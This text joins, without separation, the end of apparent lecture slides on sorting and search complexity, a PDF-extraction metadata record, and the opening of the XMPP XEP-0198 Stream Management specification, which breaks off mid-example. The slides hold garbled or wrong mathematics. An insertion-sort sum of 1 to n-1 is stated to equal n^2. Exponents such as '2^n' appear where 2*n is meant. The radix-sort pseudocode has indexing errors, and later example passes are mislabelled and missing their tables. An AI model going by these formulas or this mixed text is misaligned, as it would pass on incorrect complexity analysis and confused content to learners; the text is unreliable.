\[ k > \log_2(n) \geq k - 1 \]
• Which is equivalent to:
\[ \log_2(n) < k \leq \log_2(n) + 1 \]
• Thus, binary search algorithm is \( O(\log_2(n)) \) in terms of the number of array locations examined
Binary vs. Linear Search
search for one out of $n$ ordered integers
see demo: www.csd.uwo.ca/courses/CS1037a/demos.html
Improving *insert* in *OrderedList*
- Function *insert(item)* for *OrderedList* (see slide 10-12) can use *binary search* algorithm (instead of *linear search*) when looking for the “right” place for the new item inside *m_container* (an *array-based List*)
**Question:** would worst-case complexity of *insert* improve from $O(n)$ to $O(\log_2(n))$?
**Answer:** NO!
we can find the “right” position $k$ faster, but *m_container.insert(k,item)* still requires shifting of $O(n)$ items in the underlying array
Improving *insert* in *OrderedList*
**Question**: would it be possible to improve complexity of *insert* from $O(n)$ to $O(\log_2(n))$ if we used *m_container* of class *LinkedList*?
**Answer**: still NO!
- in this case we cannot even do *Binary Search* efficiently in $O(\log_2(n))$
- finding an item in the “middle” of the linked list requires linear traversal
- in contrast, accessing “middle” item in an array is a one step operation
- e.g. *m_container[k]* or *(m_container+k)*
In topic 15 we will study a new data structure for storing ordered items (BST) which is better than our OrderedList
• operations insert and remove in BST are $O(\log_2(n))$
Basic Sorting Algorithms and their Complexity Analysis
Analysis: Selection Sort Algorithm
• Assume we have an unsorted collection of \( n \) elements in an array or list called \textit{container}; elements are either of a simple type, or are pointers to data.
• Assume that the elements can be compared in size (\(<, >, ==, etc\))
• Sorting will take place “in place” in \textit{container}
Analysis: Selection Sort Algorithm
- sorted portion of the list
- minimum element in unsorted portion
Find smallest element in unsorted portion of container
Interchange the smallest element with the one at the front of the unsorted portion
Find smallest element in unsorted portion of container
Interchange the smallest element with the one at the front of the unsorted portion
Analysis: Selection Sort Algorithm
- sorted portion of the list
- minimum element in unsorted portion
Find smallest element in unsorted portion of container
Interchange the smallest element with the one at the front of the unsorted portion
Find smallest element in unsorted portion of container
Interchange the smallest element with the one at the front of the unsorted portion
After \( n-1 \) repetitions of this process, the last item has automatically fallen into place.
Selection Sort for (array-based) List
// A new member function for class List<Item>, needs additional template parameter
template <class Item> template <class Order>
void List<Item>::selectionSort() {
unsigned int minSoFar, i, k;
for (i = 1; i < getLength(); i++) { // ‘unsorted’ part starts at given ‘i’
minSoFar = i;
for (k = i+1; k <= getLength(); k++) // searching for min Item inside ‘unsorted’
if ( Order::compare(retrieve(k),retrieve(minSoFar)) ) minSoFar = k;
swap( i, minSoFar ); // reminder: “swap” switches Items in 2 given positions
} // end of for-i loop
}
Example of applying \textit{selectionSort} to a list
```cpp
int main() {
List<int> mylist;
... // code adding some into list a
mylist.selectionSort<IsLess>();
}
```
additional templated argument for function \textit{selectionSort()} should be specified in your code
Analysis: Selection Sort Algorithm
- We’ll determine the time complexity for selection sort by counting the number of data items examined in sorting an \( n \)-item array or list.
- Outer loop is executed \( n-1 \) times.
- Each time through the outer loop, one more item is sorted into position.
Analysis: Selection Sort Algorithm
- On the $k^{th}$ time through the outer loop:
- Sorted portion of container holds $k-1$ items initially, and unsorted portion holds $n-k+1$
- Position of the first of these is saved in $\text{minSoFar}$; data object is not examined
- In the inner loop, the remaining $n-k$ items are compared to the one at $\text{minSoFar}$ to decide if $\text{minSoFar}$ has to be reset
Analysis: Selection Sort Algorithm
• 2 data objects are examined each time through the inner loop
• So, in total, $2^{\text{th}}(n-k)$ data objects are examined by the inner loop during the $k^{\text{th}}$ pass through the outer loop
• Two elements may be switched following the inner loop, but the data values aren’t examined (compared)
Analysis: Selection Sort Algorithm
• Overall, on the $k^{th}$ time through the outer loop, $2(n-k)$ objects are examined.
• But $k$ ranges from 1 to $n-1$ (the number of times through the outer loop).
• Total number of elements examined is:
$$T(n) = 2(n-1) + 2(n-2) + 2(n-3) + \ldots + 2(n-(n-2)) + 2(n-(n-1))$$
$$= 2((n-1) + (n-2) + (n-3) + \ldots + 2 + 1) \quad (or \quad 2* \text{sum of first } n-1 \text{ ints})$$
$$= 2*\frac{(n-1)*n}{2} = n^2 - n$$
so the algorithm is $O(n^2)$
Analysis: Selection Sort Algorithm
• This analysis works for both arrays and array-based lists, provided that, in the list implementation, we either directly access array \texttt{m\_container}, or use retrieve and replace operations (\(O(1)\) operations) rather than insert and remove (\(O(n)\) operations)
Analysis: Selection Sort Algorithm
• The algorithm has **deterministic** complexity
- the number of operations does not depend on specific items, it depends only on the number of items
- all possible instances of the problem ("best case", "worst case", "average case") give the same number of operations $T(n)=n^2-n=O(n^2)$
Insertion Sort Algorithm
- items are sorted on "insertion", for example
```java
List<int> a;
.............
OrderedList<int> sorted;
while (!a.isEmpty()) sorted.insert( a.popBack() ); // sorting on insertion
while (!sorted.isEmpty()) a.append( sorted.popBack() );
```
In this case, content of list `a` is sorted using one extra container (not "in place" sorting)
\( O(n) \) complexity operation “insert” performed \( n \) times inside “while-loop”
\( \Rightarrow \) overall complexity is \( O(n^2) \)
Insertion Sort Algorithm
• Same approach can be also implemented *in-place* using existing container that is not in order:
• Front item in sequence is a *sorted subsequence* of length 1
• Second item of sequence is “inserted” into the sorted subsequence, which is now of length 2
• Process repeats, always inserting the first item from the unsorted portion into the sorted subsequence, until the entire sequence is in order
Value 5 is to be inserted where the 8 is; reference to 8 will be copied to where the 5 is, the 5 will be put in the vacated position, and the sorted subsequence now has length 2.
Insertion Sort Algorithm
- sorted portion of the list
- first element in unsorted portion of the list
```
| 5 | 8 | 2 | 6 | 9 | 4 | 6 |
```
```
| 2 | 5 | 8 | 6 | 9 | 4 | 6 |
```
```
| 2 | 5 | 8 | 6 | 9 | 4 | 6 |
```
```
| 2 | 5 | 6 | 8 | 9 | 4 | 6 |
```
Insertion Sort Algorithm
- sorted portion of the list
- first element in unsorted portion of the list
- sorted portion of the list
- first element in unsorted portion of the list
Insertion Sort Algorithm
We’re done!
In-place Insertion Sort For Array-Based List
// A new member function for class List<Item>, needs additional template parameter
template <class Item> template <class Order>
void List<Item>::insertionSort() {
unsigned int i, k;
for (i = 2; i <= getLength(); i++) { // item ‘i’ will move into ‘sorted’
for (k = i - 1; k > 0; k--) {
if (Order::compare(retrieve(k), retrieve(k + 1))) break;
else swap(k, k + 1); // shifting i-th item “down” until the
// “right” spot in ‘sorted’ 1 <= k <= (i-1)
}
}
}
Analysis: Insertion Sort Algorithm
- the worst case complexity of \textit{insertionSort()} is quadratic $O(n^2)$
- in the worst case, for each $i$ we do $(i-1)$ swaps inside the inner for-loop
- therefore, overall number of swaps (when $i$ goes from 2 to $n$ in the outer for-loop) is
\[ T(n) = 1 + 2 + 3 + \ldots + (i-1) + \ldots + n-1 = n^2 \]
Analysis: Insertion Sort Algorithm
• Unlike selection-sort, complexity of insertion-sort DOES depend on specific instance of the problem (data values)
Exercise: show that the best case complexity is $O(n)$
(consider the case when the array is already sorted)
- also, works well also if array is “almost” sorted
- however, average case complexity will be still $O(n^2)$
Radix Sort
- Sorts objects based on some *key* value found within the object
- Most often used when keys are strings of the same length, or positive integers with the same number of digits
- Uses queues; does not sort “in place”
- Other names: *postal sort, bin sort*
Radix Sort Algorithm
• Suppose keys are \( k \)-digit integers
• Radix sort uses an array of 10 queues, one for each digit 0 through 9
• Each object is placed into the queue whose index is the least significant digit (the 1’s digit) of the object’s key
• Objects are then dequeued from these 10 queues, in order 0 through 9, and put back in the original queue/list/array container; they’re sorted by the last digit of the key
Radix Sort Algorithm
- Process is repeated, this time using the 10’s digit instead of the 1’s digit; values are now sorted by last two digits of the key
- Keep repeating, using the 100’s digit, then the 1000’s digit, then the 10000’s digit, …
- Stop after using the most significant \(10^{n-1}\)’s digit
- Objects are now in order in original container
Algorithm: Radix Sort
Assume $n$ items to be sorted, $k$ digits per key, and $t$ possible values for a digit of a key, 0 through $t-1$. ($k$ and $t$ are constants.)
For each of the $k$ digits in a key:
While the queue $q$ is not empty:
Dequeue an element $e$ from $q$.
Isolate the $k^{th}$ digit from the right in the key for $e$; call it $d$.
Enqueue $e$ in the $d^{th}$ queue in the array of queues $arr$.
For each of the $t$ queues in $arr$:
While $arr[t-1]$ is not empty
Dequeue an element from $arr[t-1]$ and enqueue it in $q$.
Radix Sort Example
Suppose keys are 4-digit numbers using only the digits 0, 1, 2 and 3, and that we wish to sort the following queue of objects whose keys are shown:
| 3023 | 1030 | 2222 | 1322 | 3100 | 1133 | 2310 |
Radix Sort Example
| 3023 | 1030 | 2222 | 1322 | 3100 | 1133 | 2310 |
*First* pass: while the queue above is not empty, dequeue an item and add it into one of the queues below based on the item’s last digit.
Array of queues after the *first* pass:
<table>
<thead>
<tr>
<th>0</th>
<th>1030</th>
<th>3100</th>
<th>2310</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>2222</td>
<td>1322</td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>3023</td>
<td>1133</td>
<td></td>
</tr>
</tbody>
</table>
Then, items are moved back to the original queue (first all items from the top queue, then from the 2\textsuperscript{nd}, 3\textsuperscript{rd}, and the bottom one):
| 1030 | 3100 | 2310 | 2222 | 1322 | 3023 | 1133 |
Radix Sort Example
Second pass: while the queue above is not empty, dequeue an item and add it into one of the queues below based on the item’s 2\textsuperscript{nd} last digit.
<table>
<thead>
<tr>
<th>0</th>
<th>3100</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>2310</td>
</tr>
<tr>
<td>2</td>
<td>2222 1322 3023</td>
</tr>
<tr>
<td>3</td>
<td>1030 1133</td>
</tr>
</tbody>
</table>
Array of queues after the second pass
Then, items are moved back to the original queue (first all items from the top queue, then from the 2\textsuperscript{nd}, 3\textsuperscript{rd}, and the bottom one):
| 3100 | 2310 | 2222 | 1322 | 3023 | 1030 | 1133 |
Radix Sort Example
First pass: while the queue above is not empty, dequeue an item and add it into one of the queues below based on the item’s 3rd last digit:
Array of queues after the third pass:
Then, items are moved back to the original queue (first all items from the top queue, then from the 2nd, 3rd, and the bottom one):
13-96
Radix Sort Example
First pass: while the queue above is not empty, dequeue an item and add it into one of the queues below based on the item’s first digit.
<table>
<thead>
<tr>
<th>0</th>
<th>1</th>
<th>2</th>
<th>3</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>1030</td>
<td>1133</td>
<td>1322</td>
</tr>
<tr>
<td>1</td>
<td>2222</td>
<td>2310</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>3023</td>
<td>3100</td>
<td></td>
</tr>
</tbody>
</table>
Array of queues after the fourth pass:
Now in order:
| 1030 | 1133 | 1322 | 2222 | 2310 | 3023 | 3100 |
Analysis: Radix Sort
• We’ll count the total number of enqueue and dequeue operations
• Each time through the outer *for* loop:
• In the *while* loop: *n* elements are dequeued from *q* and enqueued somewhere in *arr*: $2^n$ operations
• In the inner *for* loop: a total of *n* elements are dequeued from queues in *arr* and enqueued in *q*: $2^n$ operations
Analysis: Radix Sort
• So, we perform $4*n$ enqueue and dequeue operations each time through the outer loop.
• Outer for loop is executed $k$ times, so we have $4*k*n$ enqueue and dequeue operations altogether.
• But $k$ is a constant, so the time complexity for radix sort is $O(n)$.
• COMMENT: If the maximum number of digits in each number $k$ is considered as a parameter describing problem input, then complexity can be written in general as $O(n*k)$ or $O(n*log(max_val))$.
|
{"Source-Url": "http://ftp.csd.uwo.ca/courses/CS1037a/notes/topic13_AnalysisOfAlgs.pdf", "len_cl100k_base": 10207, "olmocr-version": "0.1.48", "pdf-total-pages": 99, "total-fallback-pages": 0, "total-input-tokens": 145336, "total-output-tokens": 13919, "length": "2e13", "weborganizer": {"__label__adult": 0.0004355907440185547, "__label__art_design": 0.0004887580871582031, "__label__crime_law": 0.0005769729614257812, "__label__education_jobs": 0.00614166259765625, "__label__entertainment": 0.00011372566223144533, "__label__fashion_beauty": 0.00022220611572265625, "__label__finance_business": 0.0002015829086303711, "__label__food_dining": 0.0006575584411621094, "__label__games": 0.0016679763793945312, "__label__hardware": 0.0014448165893554688, "__label__health": 0.000659942626953125, "__label__history": 0.0004911422729492188, "__label__home_hobbies": 0.0001951456069946289, "__label__industrial": 0.0006918907165527344, "__label__literature": 0.00035572052001953125, "__label__politics": 0.00037789344787597656, "__label__religion": 0.0006971359252929688, "__label__science_tech": 0.036224365234375, "__label__social_life": 0.00017631053924560547, "__label__software": 0.0051116943359375, "__label__software_dev": 0.94140625, "__label__sports_fitness": 0.0005178451538085938, "__label__transportation": 0.0008192062377929688, "__label__travel": 0.00031185150146484375}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 34470, 0.02963]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 34470, 0.41334]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 34470, 0.77707]], "google_gemma-3-12b-it_contains_pii": [[0, 44, false], [44, 421, null], [421, 600, null], [600, 907, null], [907, 1156, null], [1156, 1400, null], [1400, 1756, null], [1756, 2022, null], [2022, 2288, null], [2288, 2511, null], [2511, 2847, null], [2847, 3298, null], [3298, 3499, null], [3499, 3792, null], [3792, 4361, null], [4361, 4612, null], [4612, 5053, null], [5053, 5175, null], [5175, 5603, null], [5603, 5942, null], [5942, 6342, null], [6342, 6540, null], [6540, 6825, null], [6825, 7347, null], [7347, 7898, null], [7898, 8777, null], [8777, 9141, null], [9141, 9486, null], [9486, 9813, null], [9813, 10022, null], [10022, 10314, null], [10314, 10681, null], [10681, 10972, null], [10972, 11349, null], [11349, 11805, null], [11805, 12190, null], [12190, 12543, null], [12543, 12971, null], [12971, 13358, null], [13358, 13742, null], [13742, 14132, null], [14132, 14533, null], [14533, 14813, null], [14813, 15115, null], [15115, 15469, null], [15469, 15735, null], [15735, 16108, null], [16108, 16162, null], [16162, 16483, null], [16483, 16939, null], [16939, 17190, null], [17190, 17568, null], [17568, 17893, null], [17893, 18350, null], [18350, 18622, null], [18622, 18953, null], [18953, 19293, null], [19293, 19885, null], [19885, 20197, null], [20197, 20555, null], [20555, 20860, null], [20860, 21162, null], [21162, 21435, null], [21435, 21557, null], [21557, 22070, null], [22070, 22564, null], [22564, 22738, null], [22738, 22793, null], [22793, 23129, null], [23129, 23512, null], [23512, 23992, null], [23992, 24613, null], [24613, 24893, null], [24893, 25191, null], [25191, 25605, null], [25605, 25944, null], [25944, 26432, null], [26432, 26740, null], [26740, 27075, null], [27075, 27584, null], [27584, 28015, null], [28015, 28194, null], [28194, 28453, null], [28453, 28556, null], [28556, 28672, null], [28672, 29236, null], [29236, 29590, null], [29590, 29963, null], [29963, 30232, null], [30232, 30659, null], [30659, 31013, null], [31013, 31556, null], [31556, 31776, null], [31776, 32398, null], [32398, 32917, null], [32917, 33255, null], [33255, 33623, null], [33623, 33988, null], [33988, 34470, null]], "google_gemma-3-12b-it_is_public_document": [[0, 44, true], [44, 421, null], [421, 600, null], [600, 907, null], [907, 1156, null], [1156, 1400, null], [1400, 1756, null], [1756, 2022, null], [2022, 2288, null], [2288, 2511, null], [2511, 2847, null], [2847, 3298, null], [3298, 3499, null], [3499, 3792, null], [3792, 4361, null], [4361, 4612, null], [4612, 5053, null], [5053, 5175, null], [5175, 5603, null], [5603, 5942, null], [5942, 6342, null], [6342, 6540, null], [6540, 6825, null], [6825, 7347, null], [7347, 7898, null], [7898, 8777, null], [8777, 9141, null], [9141, 9486, null], [9486, 9813, null], [9813, 10022, null], [10022, 10314, null], [10314, 10681, null], [10681, 10972, null], [10972, 11349, null], [11349, 11805, null], [11805, 12190, null], [12190, 12543, null], [12543, 12971, null], [12971, 13358, null], [13358, 13742, null], [13742, 14132, null], [14132, 14533, null], [14533, 14813, null], [14813, 15115, null], [15115, 15469, null], [15469, 15735, null], [15735, 16108, null], [16108, 16162, null], [16162, 16483, null], [16483, 16939, null], [16939, 17190, null], [17190, 17568, null], [17568, 17893, null], [17893, 18350, null], [18350, 18622, null], [18622, 18953, null], [18953, 19293, null], [19293, 19885, null], [19885, 20197, null], [20197, 20555, null], [20555, 20860, null], [20860, 21162, null], [21162, 21435, null], [21435, 21557, null], [21557, 22070, null], [22070, 22564, null], [22564, 22738, null], [22738, 22793, null], [22793, 23129, null], [23129, 23512, null], [23512, 23992, null], [23992, 24613, null], [24613, 24893, null], [24893, 25191, null], [25191, 25605, null], [25605, 25944, null], [25944, 26432, null], [26432, 26740, null], [26740, 27075, null], [27075, 27584, null], [27584, 28015, null], [28015, 28194, null], [28194, 28453, null], [28453, 28556, null], [28556, 28672, null], [28672, 29236, null], [29236, 29590, null], [29590, 29963, null], [29963, 30232, null], [30232, 30659, null], [30659, 31013, null], [31013, 31556, null], [31556, 31776, null], [31776, 32398, null], [32398, 32917, null], [32917, 33255, null], [33255, 33623, null], [33623, 33988, null], [33988, 34470, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 34470, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 34470, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 34470, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 34470, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, true], [5000, 34470, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 34470, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 34470, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 34470, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 34470, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 34470, null]], "pdf_page_numbers": [[0, 44, 1], [44, 421, 2], [421, 600, 3], [600, 907, 4], [907, 1156, 5], [1156, 1400, 6], [1400, 1756, 7], [1756, 2022, 8], [2022, 2288, 9], [2288, 2511, 10], [2511, 2847, 11], [2847, 3298, 12], [3298, 3499, 13], [3499, 3792, 14], [3792, 4361, 15], [4361, 4612, 16], [4612, 5053, 17], [5053, 5175, 18], [5175, 5603, 19], [5603, 5942, 20], [5942, 6342, 21], [6342, 6540, 22], [6540, 6825, 23], [6825, 7347, 24], [7347, 7898, 25], [7898, 8777, 26], [8777, 9141, 27], [9141, 9486, 28], [9486, 9813, 29], [9813, 10022, 30], [10022, 10314, 31], [10314, 10681, 32], [10681, 10972, 33], [10972, 11349, 34], [11349, 11805, 35], [11805, 12190, 36], [12190, 12543, 37], [12543, 12971, 38], [12971, 13358, 39], [13358, 13742, 40], [13742, 14132, 41], [14132, 14533, 42], [14533, 14813, 43], [14813, 15115, 44], [15115, 15469, 45], [15469, 15735, 46], [15735, 16108, 47], [16108, 16162, 48], [16162, 16483, 49], [16483, 16939, 50], [16939, 17190, 51], [17190, 17568, 52], [17568, 17893, 53], [17893, 18350, 54], [18350, 18622, 55], [18622, 18953, 56], [18953, 19293, 57], [19293, 19885, 58], [19885, 20197, 59], [20197, 20555, 60], [20555, 20860, 61], [20860, 21162, 62], [21162, 21435, 63], [21435, 21557, 64], [21557, 22070, 65], [22070, 22564, 66], [22564, 22738, 67], [22738, 22793, 68], [22793, 23129, 69], [23129, 23512, 70], [23512, 23992, 71], [23992, 24613, 72], [24613, 24893, 73], [24893, 25191, 74], [25191, 25605, 75], [25605, 25944, 76], [25944, 26432, 77], [26432, 26740, 78], [26740, 27075, 79], [27075, 27584, 80], [27584, 28015, 81], [28015, 28194, 82], [28194, 28453, 83], [28453, 28556, 84], [28556, 28672, 85], [28672, 29236, 86], [29236, 29590, 87], [29590, 29963, 88], [29963, 30232, 89], [30232, 30659, 90], [30659, 31013, 91], [31013, 31556, 92], [31556, 31776, 93], [31776, 32398, 94], [32398, 32917, 95], [32917, 33255, 96], [33255, 33623, 97], [33623, 33988, 98], [33988, 34470, 99]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 34470, 0.06511]]}
|
olmocr_science_pdfs
|
2024-11-25
|
2024-11-25
|
0fb17db25e0322b83385f112a0a660457e210c9e
|
XEP-0198: Stream Management
Justin Karneges
mailto:justin@karneges.com
xmpp:justin@andbit.net
Peter Saint-Andre
mailto:xsf@stpeter.im
xmpp:peter@jabber.org
http://stpeter.im/
Joe Hildebrand
mailto:jhildebr@cisco.com
xmpp:hildjj@jabber.org
Fabio Forno
mailto:fabio.forno@gmail.com
xmpp:ff@jabber.bluendo.com
Dave Cridland
mailto:dave@hellopando.com
xmpp:dwd@dave.cridland.net
Matthew Wild
mailto:mwild1@gmail.com
xmpp:me@matthewwild.co.uk
2018-07-25
Version 1.6
<table>
<thead>
<tr>
<th>Status</th>
<th>Type</th>
<th>Short Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Draft</td>
<td>Standards Track</td>
<td>sm</td>
</tr>
</tbody>
</table>
This specification defines an XMPP protocol extension for active management of an XML stream between two XMPP entities, including features for stanza acknowledgements and stream resumption.
Legal
Copyright
This XMPP Extension Protocol is copyright © 1999 – 2020 by the XMPP Standards Foundation (XSF).
Permissions
Permission is hereby granted, free of charge, to any person obtaining a copy of this specification (the "Specification"), to make use of the Specification without restriction, including without limitation the rights to implement the Specification in a software program, deploy the Specification in a network service, and copy, modify, merge, publish, translate, distribute, sublicense, or sell copies of the Specification, and to permit persons to whom the Specification is furnished to do so, subject to the condition that the foregoing copyright notice and this permission notice shall be included in all copies or substantial portions of the Specification. Unless separate permission is granted, modified works that are redistributed shall not contain misleading information regarding the authors, title, number, or publisher of the Specification, and shall not claim endorsement of the modified works by the authors, any organization or project to which the authors belong, or the XMPP Standards Foundation.
Warranty
## NOTE WELL: This Specification is provided on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. ##
Liability
In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall the XMPP Standards Foundation or any author of this Specification be liable for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising from, out of, or in connection with the Specification or the implementation, deployment, or other use of the Specification (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if the XMPP Standards Foundation or such author has been advised of the possibility of such damages.
Conformance
This XMPP Extension Protocol has been contributed in full conformance with the XSF’s Intellectual Property Rights Policy (a copy of which can be found at <https://xmpp.org/about/xsf/ipr-policy> or obtained by writing to XMPP Standards Foundation, P.O. Box 787, Parker, CO 80134 USA).
# Contents
1 Introduction 1
2 Stream Feature 1
3 Enabling Stream Management 2
4 Acks 3
5 Resumption 6
6 Error Handling 10
7 Stream Closure 11
8 Scenarios 11
8.1 Basic Acking Scenario ........................................... 11
8.2 Efficient Acking Scenario ......................................... 13
9 Security Considerations 14
10 IANA Considerations 14
11 XMPP Registrar Considerations 15
11.1 Protocol Namespaces ............................................ 15
11.2 Protocol Versioning ............................................. 15
11.3 Stream Features ................................................ 15
12 XML Schemas 15
13 Acknowledgements 18
1 Introduction
XMPP Core\(^1\) defines the fundamental streaming XML technology used by XMPP (i.e., stream establishment and termination including authentication and encryption). However, the core XMPP specification does not provide tools for actively managing a live XML stream. The basic concept behind stream management is that the initiating entity (either a client or a server) and the receiving entity (a server) can exchange "commands" for active management of the stream. The following stream management features are of particular interest because they are expected to improve network reliability and the end-user experience:
- Stanza Acknowledgements -- the ability to know if a stanza or series of stanzas has been received by one's peer.
- Stream Resumption -- the ability to quickly resume a stream that has been terminated.
Stream management implements these features using short XML elements at the root stream level. These elements are not "stanzas" in the XMPP sense (i.e., not `<iq/>`, `<message/>`, or `<presence/>` stanzas as defined in RFC 6120) and are not counted or acked in stream management, since they exist for the purpose of managing stanzas themselves. Stream management is used at the level of an XML stream. To check TCP connectivity underneath a given stream, it is RECOMMENDED to use whitespace keepalives (see RFC 6120), XMPP Ping (XEP-0199)\(^2\), or TCP keepalives. By contrast with stream management, Advanced Message Processing (XEP-0079)\(^3\) and Message Delivery Receipts (XEP-0184)\(^4\) define acks that are sent end-to-end over multiple streams; these facilities are useful in special scenarios but are unnecessary for checking of a direct stream between two XMPP entities.
Note: Stream Management can be used for server-to-server streams as well as for client-to-server streams. However, for convenience this specification discusses client-to-server streams only. The same principles apply to server-to-server streams.
2 Stream Feature
The server returns a stream header to the client along with stream features, where the features include an `<sm/>` element qualified by the `urn:xmpp:sm:3` namespace (see Namespace Versioning regarding the possibility of incrementing the version number).
Note: The client cannot negotiate stream management until it has authenticated with the server and has bound a resource; see below for specific restrictions.
Listing 1: Server sends new stream header along with stream features
3 Enabling Stream Management
To enable use of stream management, the client sends an <enable/> command to the server.
Listing 2: Client enables stream management
<enable xmlns='urn:xmpp:sm:3'/>
If the client wants to be allowed to resume the stream, it includes a boolean 'resume' attribute, which defaults to false. For information about resuming a previous session, see the Resumption section of this document.
The <enable/> element MAY include a 'max' attribute to specify the client's preferred maximum resumption time in seconds.
Upon receiving the enable request, the server MUST reply with an <enabled/> element or a <failed/> element qualified by the 'urn:xmpp:sm:3' namespace. The <failed/> element indicates that there was a problem establishing the stream management "session". The <enabled/> element indicates successful establishment of the stream management session.
Listing 3: Server enables stream management
<enabled xmlns='urn:xmpp:sm:3'/>
The parties can then the use stream management features defined below.
If the server allows session resumption, it MUST include a 'resume' attribute set to a value of "true" or "1".
Listing 4: Server enables stream management with session resumption
<enabled xmlns='urn:xmpp:sm:3' id='some-long-sm-id' resume='true'/>
---
5 In accordance with Section 3.2.2.1 of XML Schema Part 2: Datatypes, the allowable lexical representations for the xs:boolean datatype are the strings "0" and "false" for the concept 'false' and the strings "1" and "true" for the concept 'true'; implementations MUST support both styles of lexical representation.
6 In accordance with Section 3.2.2.1 of XML Schema Part 2: Datatypes, the allowable lexical representations for the xs:boolean datatype are the strings "0" and "false" for the concept 'false' and the strings "1" and "true" for the concept 'true'; implementations MUST support both styles of lexical representation.
The `<enabled/>` element MAY include a 'max' attribute to specify the server's preferred maximum resumption time.
The `<enabled/>` element MAY include a 'location' attribute to specify the server's preferred IP address or hostname (optionally with a port) for reconnection, in the form specified in Section 4.9.3.19 of RFC 6120 (i.e., "domainpart:port", where IPv6 addresses are enclosed in square brackets "[...]"); if reconnection to that location fails, the standard XMPP connection algorithm specified in RFC 6120 applies.
The client MUST NOT attempt to negotiate stream management until it is authenticated; i.e., it MUST NOT send an `<enable/>` element until after authentication (such as SASL, Non-SASL Authentication (XEP-0078) \(^8\) or Server Dialback (XEP-0220) \(^9\)) has been completed successfully.
For client-to-server connections, the client MUST NOT attempt to enable stream management until after it has completed Resource Binding \(\text{unless it is resuming a previous session} \) (see Resumption).
The server SHALL enforce this order and return a `<failed/>` element in response if the order is violated (see Error Handling).
Listing 5: Server returns error if client attempts to enable stream management before resource binding
```xml
<failed xmlns='urn:xmpp:sm:3'>
<unexpected-request xmlns='urn:ietf:params:xml:ns:xmpp-stanzas'/>
</failed>
```
Note that a client SHALL only make at most one attempt to enable stream management. If a server receives a second `<enable/>` element it SHOULD respond with a stream error, thus terminating the client connection.
Listing 6: Server returns error if client attempts to enable stream management more than once
```xml
<failed xmlns='urn:xmpp:sm:3'>
<unexpected-request xmlns='urn:ietf:params:xml:ns:xmpp-stanzas'/>
</failed>
```
### 4 Acks
After enabling stream management, the client or server can send ack elements at any time over the stream. An ack element is one of the following:
- The `<a/>` element is used to answer a request for acknowledgement or to send an unrequested ack.
---
• The `<r/>` element is used to request acknowledgement of received stanzas.
The following attribute is defined:
• The 'h' attribute identifies the last handled stanza (i.e., the last stanza that the server will acknowledge as having received).
An `<a/>` element MUST possess an 'h' attribute.
The `<r/>` element has no defined attributes.
**Definition:** Acknowledging a previously-received ack element indicates that the stanza(s) sent since then have been "handled" by the server. By "handled" we mean that the server has accepted responsibility for a stanza or stanzas (e.g., to process the stanza(s) directly, deliver the stanza(s) to a local entity such as another connected client on the same server, or route the stanza(s) to a remote entity at a different server); until a stanza has been affirmed as handled by the server, that stanza is the responsibility of the sender (e.g., to resend it or generate an error if it is never affirmed as handled by the server).
Receipt of an `<r/>` element does not imply that new stanzas have been transmitted by the peer; receipt of an `<a/>` element only indicates that new stanzas have been processed if the 'h' attribute has been incremented.
The value of 'h' starts at zero at the point stream management is enabled or requested to be enabled (see note below). The value of 'h' is then incremented to one for the first stanza handled and incremented by one again with each subsequent stanza handled. In the unlikely case that the number of stanzas handled during a stream management session exceeds the number of digits that can be represented by the unsignedInt datatype as specified in XML Schema Part 2[^10] (i.e., $2^{32}$), the value of 'h' SHALL be reset from $2^{32}$-1 back to zero (rather than being incremented to $2^{32}$).
Note: Each entity maintains two counters for any given stream: a counter of stanzas it has sent, and a counter of stanzas it has received and handled ('h'). The counter for an entity's own sent stanzas is set to zero and started after sending either `<enable/>` or `<enabled/>`. The counter for the received stanzas ('h') is set to zero and started after receiving either `<enable/>` or `<enabled/>`.
The following annotated example shows a message sent by the client, a request for acknowledgement, and an ack of the stanza.
---
**Listing 7: Simple stanza acking**
```xml
<enable xmlns='urn:xmpp:sm:3'/>
<message from='laurence@example.net/churchyard' to='juliet@example.com'/>
```
[^10]: XML Schema Part 2: Datatypes [http://www.w3.org/TR/xmlschema11-2/].
I'll send a friar with speed, to Mantua, with my letters to thy lord.
<!-{}- Note that client need not wait for a response.->{'-}
<!-{}- Server ->
<enabled xmlns='urn:xmpp:sm:3'/>
<!-{}- Server receives enable, and responds, setting both inbound and outbound counts to zero.
<!-{}- In addition, client sets inbound count to zero.->{'-}
<!-{}- Client ->
<r xmlns='urn:xmpp:sm:3'/>
